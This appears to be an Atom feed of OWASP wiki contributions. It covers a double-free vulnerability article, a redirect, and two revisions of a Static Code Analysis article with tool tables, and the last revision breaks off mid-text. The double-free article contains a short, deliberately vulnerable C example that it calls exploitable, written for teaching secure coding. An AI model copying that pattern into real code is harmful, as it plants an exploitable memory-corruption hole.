<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Christina+Schelin</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Christina+Schelin"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Christina_Schelin"/>
		<updated>2026-05-27T03:57:39Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Doubly_freeing_memory&amp;diff=246305</id>
		<title>Doubly freeing memory</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Doubly_freeing_memory&amp;diff=246305"/>
				<updated>2018-12-29T15:22:06Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Merging Double Free into this article, since they're the same thing.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}{{Template:SecureSoftware}}{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Double free errors occur when free() is called more than once with the same memory address as an argument.&lt;br /&gt;
&lt;br /&gt;
Calling free() twice on the same value can lead to memory leak. When a program calls free() twice with the same argument, the program's memory management data structures become corrupted and could allow a malicious user to write values in arbitrary memory spaces. This corruption can cause the program to crash or, in some circumstances, alter the execution flow.  By overwriting particular registers or memory spaces, an attacker can trick the program into executing code of his/her own choosing, often resulting in an interactive shell with elevated permissions.&lt;br /&gt;
&lt;br /&gt;
When a buffer is free()'d, a linked list of free buffers is read to rearrange and combine the chunks of free memory (to be able to allocate larger buffers in the future).  These chunks are laid out in a double linked list which points to previous and next chunks. Unlinking an unused buffer (which is what happens when free() is called) could allow an attacker to write arbitrary values in memory; essentially overwriting valuable registers, calling shellcode from its own buffer.&lt;br /&gt;
&lt;br /&gt;
=== Consequences ===&lt;br /&gt;
&lt;br /&gt;
* Access control: Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.&lt;br /&gt;
&lt;br /&gt;
=== Exposure period ===&lt;br /&gt;
&lt;br /&gt;
* Requirements specification: A language which handles memory allocation and garbage collection automatically might be chosen.&lt;br /&gt;
* Implementation: Double frees are caused most often by lower-level logical errors.&lt;br /&gt;
&lt;br /&gt;
=== Platform ===&lt;br /&gt;
&lt;br /&gt;
* Language: C, C++, Assembly&lt;br /&gt;
* Operating system: All&lt;br /&gt;
&lt;br /&gt;
=== Required resources ===&lt;br /&gt;
&lt;br /&gt;
Any&lt;br /&gt;
&lt;br /&gt;
=== Severity ===&lt;br /&gt;
&lt;br /&gt;
High&lt;br /&gt;
&lt;br /&gt;
=== Likelihood of exploit ===&lt;br /&gt;
&lt;br /&gt;
Low to Medium&lt;br /&gt;
&lt;br /&gt;
Doubly freeing memory can result in roughly the same write-what-where condition that the use of previously freed memory will. &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
While contrived, this code should be exploitable on Linux distributions that don't ship with heap-chunk check summing turned on.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define BUFSIZE1    512&lt;br /&gt;
#define BUFSIZE2    ((BUFSIZE1/2) - 8)&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) { &lt;br /&gt;
  char *buf1R1;    &lt;br /&gt;
  char *buf2R1;    &lt;br /&gt;
  char *buf1R2;    &lt;br /&gt;
&lt;br /&gt;
  buf1R1 = (char *) malloc(BUFSIZE2);    &lt;br /&gt;
  buf2R1 = (char *) malloc(BUFSIZE2);    &lt;br /&gt;
  &lt;br /&gt;
  free(buf1R1);    &lt;br /&gt;
  free(buf2R1);    &lt;br /&gt;
&lt;br /&gt;
  buf1R2 = (char *) malloc(BUFSIZE1);    &lt;br /&gt;
  strncpy(buf1R2, argv[1], BUFSIZE1-1);    &lt;br /&gt;
  &lt;br /&gt;
  free(buf2R1);    &lt;br /&gt;
  free(buf1R2);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Double free vulnerabilities have three common (and sometimes overlapping) causes:&lt;br /&gt;
&lt;br /&gt;
* Error conditions and other exceptional circumstances &lt;br /&gt;
* Usage of the memory space after it's freed.&lt;br /&gt;
* Confusion over which part of the program is responsible for freeing the memory &lt;br /&gt;
&lt;br /&gt;
Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* Implementation: Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Buffer_Overflows#Heap_Overflow|Heap overflow]]&lt;br /&gt;
* [[Buffer overflow attack]]&lt;br /&gt;
&lt;br /&gt;
[[Category:C/C++]]&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Double_Free&amp;diff=246304</id>
		<title>Double Free</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Double_Free&amp;diff=246304"/>
				<updated>2018-12-29T15:22:01Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Redirecting from here to Doubly_freeing_memory, since they're effectively the same thing.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Doubly_freeing_memory]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:SecureSoftware&amp;diff=246303</id>
		<title>Template:SecureSoftware</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:SecureSoftware&amp;diff=246303"/>
				<updated>2018-12-29T15:15:16Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Adding a description.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;includeonly&amp;gt;__NOTOC__&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;Disables the default wiki table of contents from appearing.&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Static_Code_Analysis&amp;diff=246302</id>
		<title>Static Code Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Static_Code_Analysis&amp;diff=246302"/>
				<updated>2018-12-29T14:58:32Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Adding OS information. Organizing the open source table a bit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Every '''[[control]]''' should follow this template.&lt;br /&gt;
&lt;br /&gt;
{{Template:Control}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.&lt;br /&gt;
&lt;br /&gt;
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.&lt;br /&gt;
&lt;br /&gt;
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.&lt;br /&gt;
&lt;br /&gt;
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'.&amp;lt;sup&amp;gt;[0]&amp;lt;/sup&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Techniques==&lt;br /&gt;
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.&lt;br /&gt;
&lt;br /&gt;
===Data Flow Analysis===&lt;br /&gt;
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):&lt;br /&gt;
&lt;br /&gt;
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
Example PHP basic block:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1. $a = 0;&lt;br /&gt;
2. $b = 1;&lt;br /&gt;
3. &lt;br /&gt;
4. if ($a == $b) &lt;br /&gt;
5. { # start of block&lt;br /&gt;
6.   echo “a and b are the same”;&lt;br /&gt;
7. } # end of block &lt;br /&gt;
8. else &lt;br /&gt;
9. { # start of block &lt;br /&gt;
10. echo “a and b are different”;&lt;br /&gt;
11.} # end of block&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Control Flow Graph (CFG) ===&lt;br /&gt;
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.&lt;br /&gt;
&lt;br /&gt;
￼[[File:Control_flow_graph.png|400x200px]]&lt;br /&gt;
&lt;br /&gt;
===Taint Analysis===&lt;br /&gt;
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.&lt;br /&gt;
&lt;br /&gt;
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.&lt;br /&gt;
&lt;br /&gt;
===Lexical Analysis===&lt;br /&gt;
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).&lt;br /&gt;
&lt;br /&gt;
Pre tokenised PHP source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php $name = &amp;quot;Ryan&amp;quot;; ?&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Post tokenised PHP source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
T_OPEN_TAG&lt;br /&gt;
T_VARIABLE&lt;br /&gt;
=&lt;br /&gt;
T_CONSTANT_ENCAPSED_STRING&lt;br /&gt;
;&lt;br /&gt;
T_CLOSE_TAG&lt;br /&gt;
 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Strengths and Weaknesses==&lt;br /&gt;
&lt;br /&gt;
=== Strengths ===&lt;br /&gt;
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))&lt;br /&gt;
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.&lt;br /&gt;
&lt;br /&gt;
=== Weaknesses ===&lt;br /&gt;
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.&lt;br /&gt;
* High numbers of false positives.&lt;br /&gt;
* Frequently can't find configuration issues, since they are not represented in the code.&lt;br /&gt;
* Difficult to 'prove' that an identified security issue is an actual vulnerability.&lt;br /&gt;
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.&lt;br /&gt;
&lt;br /&gt;
==Limitations==&lt;br /&gt;
&lt;br /&gt;
===False Positives===&lt;br /&gt;
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.&lt;br /&gt;
&lt;br /&gt;
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.&lt;br /&gt;
&lt;br /&gt;
===False Negatives===&lt;br /&gt;
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.&lt;br /&gt;
&lt;br /&gt;
==Important Selection Criteria==&lt;br /&gt;
&lt;br /&gt;
* Requirement: Must support your language, but not usually a key factor once it does.&lt;br /&gt;
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)&lt;br /&gt;
* Does it require a fully buildable set of source?&lt;br /&gt;
* Can it run against binaries instead of source?&lt;br /&gt;
* Can it be integrated into the developer's IDE?&lt;br /&gt;
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)&lt;br /&gt;
* Does it support Object-oriented programming (OOP)?&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===RIPS PHP Static Code Analysis Tool===&lt;br /&gt;
[[File:Rips.jpg|400px|thum|]]&lt;br /&gt;
&lt;br /&gt;
===OWASP LAPSE+ Static Code Analysis Tool===&lt;br /&gt;
[[File:LapsePlusScreenshot.png|400px|thum|]]&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
===OWASP Tools===&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
|-&lt;br /&gt;
| [[:Category:OWASP_Code_Crawler|OWASP Code Crawler]]&lt;br /&gt;
| .NET, Java&lt;br /&gt;
|-&lt;br /&gt;
| [[:Category:OWASP_Orizon_Project|OWASP Orizon Project]]&lt;br /&gt;
| Java&lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP LAPSE Project]]&lt;br /&gt;
| Java&lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP O2 Platform]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP WAP-Web Application Protection]]&lt;br /&gt;
| PHP&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Open Source/Free ===&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
! OS(es)&lt;br /&gt;
|-&lt;br /&gt;
| [https://sourceforge.net/projects/agnitiotool/ Agnitio]&lt;br /&gt;
| ASP, ASP.NET, C#, Java, Javascript, Perl, PHP, Python, Ruby, VB.NET, XML&lt;br /&gt;
| Windows&lt;br /&gt;
|-&lt;br /&gt;
| [https://brakemanscanner.org/ Brakeman]&lt;br /&gt;
| Ruby, Rails&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/ Google CodeSearchDiggity]&lt;br /&gt;
| Multiple&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [http://www.devbug.co.uk DevBug]&lt;br /&gt;
| PHP&lt;br /&gt;
| web-based&lt;br /&gt;
|-&lt;br /&gt;
| [http://findbugs.sourceforge.net/ FindBugs]&lt;br /&gt;
| Java&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://find-sec-bugs.github.io/ Find Security Bugs]&lt;br /&gt;
| Java, Scala, Groovy&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://dwheeler.com/flawfinder/ FlawFinder]&lt;br /&gt;
| C, C++&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/bb429476(v=vs.80) Microsoft FxCop]&lt;br /&gt;
| .NET&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://security-code-scan.github.io/ .NET Security Guard]&lt;br /&gt;
| .NET, C#, VB.net&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/FloeDesignTechnologies/phpcs-security-audit phpcs-security-audit]&lt;br /&gt;
| PHP&lt;br /&gt;
| Windows, Unix&lt;br /&gt;
|-&lt;br /&gt;
| [https://pmd.github.io/ PMD]&lt;br /&gt;
| Java, JavaScript, Salesforce.com Apex and Visualforce, PLSQL, Apache Velocity, XML, XSL&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.pumascan.com/ Puma Scan]&lt;br /&gt;
| .NET, C#&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms933794(v=msdn.10) Microsoft PREFast]&lt;br /&gt;
| C, C++&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [http://rips-scanner.sourceforge.net/ RIPS]&lt;br /&gt;
| PHP&lt;br /&gt;
| any&lt;br /&gt;
|-&lt;br /&gt;
| [https://sonarcloud.io/about SonarCloud]&lt;br /&gt;
| ABAP, C, C++, Objective-C, COBOL, C#, CSS, Flex, Go, HTML, Java, Javascript, Kotlin, PHP, PL/I, PL/SQL, Python, RPG, Ruby, Swift, T-SQL, TypeScript, VB6, VB, XML&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.splint.org/ Splint]&lt;br /&gt;
| C&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper]&lt;br /&gt;
| C/C++, C#, VB, PHP, Java, PL/SQL&lt;br /&gt;
| Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Commercial ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.microfocus.com/en-us/products/static-code-analysis-sast/overview Fortify]&lt;br /&gt;
| ABAP/BSP, ActionScript/MXML (Flex), ASP.NET, VB.NET, C# (.NET), C/C++, Classic ASP (w/VBScript), COBOL, ColdFusion CFML, HTML, Java (including Android), JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Ruby, Swift, Visual Basic, VBScript, XML&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.veracode.com/ Veracode]&lt;br /&gt;
| Android, ASP.NET, C#, C, C++, Classic ASP, COBOL, ColdFusion/Java, Go, Groovy, iOS, Java, JavaScript, Perl, PhoneGap/Cordova, PHP, Python, React Native, RPG, Ruby on Rails, Scala, Titanium, TypeScript, VB.NET, Visual Basic 6, Xamarin&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.grammatech.com/ CodeSonar]&lt;br /&gt;
| C, C++, Java&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.parasoft.com/ ParaSoft]&lt;br /&gt;
| C, C++, Java, .NET&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;s&amp;gt;[http://www.armorize.com/codesecure/ Armorize CodeSecure]&amp;lt;/s&amp;gt;&lt;br /&gt;
|&lt;br /&gt;
| OWASP Member; acquired by Proofpoint in 2013&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.checkmarx.com/ Checkmarx Static Code Analysis]&lt;br /&gt;
| Android, Apex, ASP.NET, C#, C++, Go, Groovy, HTML5, Java, JavaScript, JSP, .NET, Objective-C, Perl, PHP, PL/SQL, Python, Ruby, Scala, Swift, TypeScript, VB.NET, Visual Basic 6, Windows Phone&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.ibm.com/us-en/marketplace/ibm-appscan-source IBM AppScan Source]&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html Coverity]&lt;br /&gt;
| Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, VB.NET&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.viva64.com/en/pvs-studio/ PVS-Studio]&lt;br /&gt;
| C, C++, C#&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://pumascan.com/pricing/ Puma Scan Professional]&lt;br /&gt;
| C#&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.roguewave.com/products-services/klocwork/static-code-analysis Klocwork]&lt;br /&gt;
| C, C++, C#, Javaa&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.mathworks.com/products/polyspace.html Polyspace Static Analysis]&lt;br /&gt;
| C, C++, Ada&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.ripstech.com/ RIPS NextGen]&lt;br /&gt;
| PHP&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Other Tool Lists===&lt;br /&gt;
&lt;br /&gt;
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]&lt;br /&gt;
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
[0] {{cite web |url=http://www.software-supportability.org/Docs/00-55_Part_2.pdf |title=Requirements for Safety Related Software in Defence Equipment |date=August 1, 1997 |format=pdf |publisher=Ministry of Defence |access-date=December 17, 2018}}&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]&lt;br /&gt;
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf&lt;br /&gt;
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf&lt;br /&gt;
* http://www.php-security.org/downloads/rips.pdf&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|&lt;br /&gt;
In addition, one should classify control based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Control]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Control&lt;br /&gt;
Authorization Control&lt;br /&gt;
Authentication Control&lt;br /&gt;
Concurrency Control&lt;br /&gt;
Configuration Control&lt;br /&gt;
Cryptographic Control&lt;br /&gt;
Encoding Control&lt;br /&gt;
Error Handling Control&lt;br /&gt;
Input Validation Control&lt;br /&gt;
Logging and Auditing Control&lt;br /&gt;
Session Management Control&lt;br /&gt;
]]&lt;br /&gt;
__FORCETOC__&lt;br /&gt;
&lt;br /&gt;
[[Category:Control]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Static_Code_Analysis&amp;diff=246091</id>
		<title>Static Code Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Static_Code_Analysis&amp;diff=246091"/>
				<updated>2018-12-17T16:03:47Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Updating links and languages.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Every '''[[control]]''' should follow this template.&lt;br /&gt;
&lt;br /&gt;
{{Template:Control}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.&lt;br /&gt;
&lt;br /&gt;
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.&lt;br /&gt;
&lt;br /&gt;
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.&lt;br /&gt;
&lt;br /&gt;
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'.&amp;lt;sup&amp;gt;[0]&amp;lt;/sup&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Techniques==&lt;br /&gt;
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.&lt;br /&gt;
&lt;br /&gt;
===Data Flow Analysis===&lt;br /&gt;
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):&lt;br /&gt;
&lt;br /&gt;
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
Example PHP basic block:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1. $a = 0;&lt;br /&gt;
2. $b = 1;&lt;br /&gt;
3. &lt;br /&gt;
4. if ($a == $b) &lt;br /&gt;
5. { # start of block&lt;br /&gt;
6.   echo “a and b are the same”;&lt;br /&gt;
7. } # end of block &lt;br /&gt;
8. else &lt;br /&gt;
9. { # start of block &lt;br /&gt;
10. echo “a and b are different”;&lt;br /&gt;
11.} # end of block&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Control Flow Graph (CFG) ===&lt;br /&gt;
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).&lt;br /&gt;
&lt;br /&gt;
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.&lt;br /&gt;
&lt;br /&gt;
￼[[File:Control_flow_graph.png|400x200px]]&lt;br /&gt;
&lt;br /&gt;
===Taint Analysis===&lt;br /&gt;
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.&lt;br /&gt;
&lt;br /&gt;
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.&lt;br /&gt;
&lt;br /&gt;
===Lexical Analysis===&lt;br /&gt;
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).&lt;br /&gt;
&lt;br /&gt;
Pre tokenised PHP source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php $name = &amp;quot;Ryan&amp;quot;; ?&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Post tokenised PHP source code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
T_OPEN_TAG&lt;br /&gt;
T_VARIABLE&lt;br /&gt;
=&lt;br /&gt;
T_CONSTANT_ENCAPSED_STRING&lt;br /&gt;
